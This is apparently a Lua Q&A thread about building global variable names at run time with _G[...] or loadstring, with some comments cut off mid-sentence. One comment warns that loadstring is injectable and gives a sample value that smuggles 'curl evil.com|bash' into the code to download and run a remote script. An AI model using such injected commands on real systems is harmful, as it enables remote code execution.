Is there any way to "concatenate" variable references with strings?:
fat_greek_wedding = 0;
nationality = "greek";
"fat_" .. nationality .. "_wedding" = 1; -- fat_greek_wedding == 1
Or perhaps something like:
fat_greek_wedding = 0;
nationality = "greek";
fat_(nationality)_wedding = 1; -- fat_greek_wedding == 1
FYI I am writing code for Unified Remote, which uses Lua: https://github.com/unifiedremote/Docs
Global variables, or fields of structures - are just elements of some table, and variable's name is a text key in that table.
If that fat_greek_wedding is a global variable, you can access it like this:
fat_greek_wedding = 0;
nationality = "greek";
_G["fat_" .. nationality .. "_wedding"] = 1;
Here you explicitly access global environment, altering/creating element by the name that was constructed in run time. Effectively it is the same as running fat_greek_wedding=1
_G table is not present in all versions of Lua.
_G is standard since (at least) 5.0 and this is the canonical way to access global variables by name. (This was already described in the first edition of Programming in Lua.)Try this:
loadstring("fat_"..nationality.."_wedding = 1")()
"fat_<actual nationality>_wedding=1". Entire string is the script's body, so = 1 part must appear within string."=0;os.execute'curl evil.com|bash'") and vastly more inefficient than the correct way (using _G) to do it.
nationality variable, this is not insecure.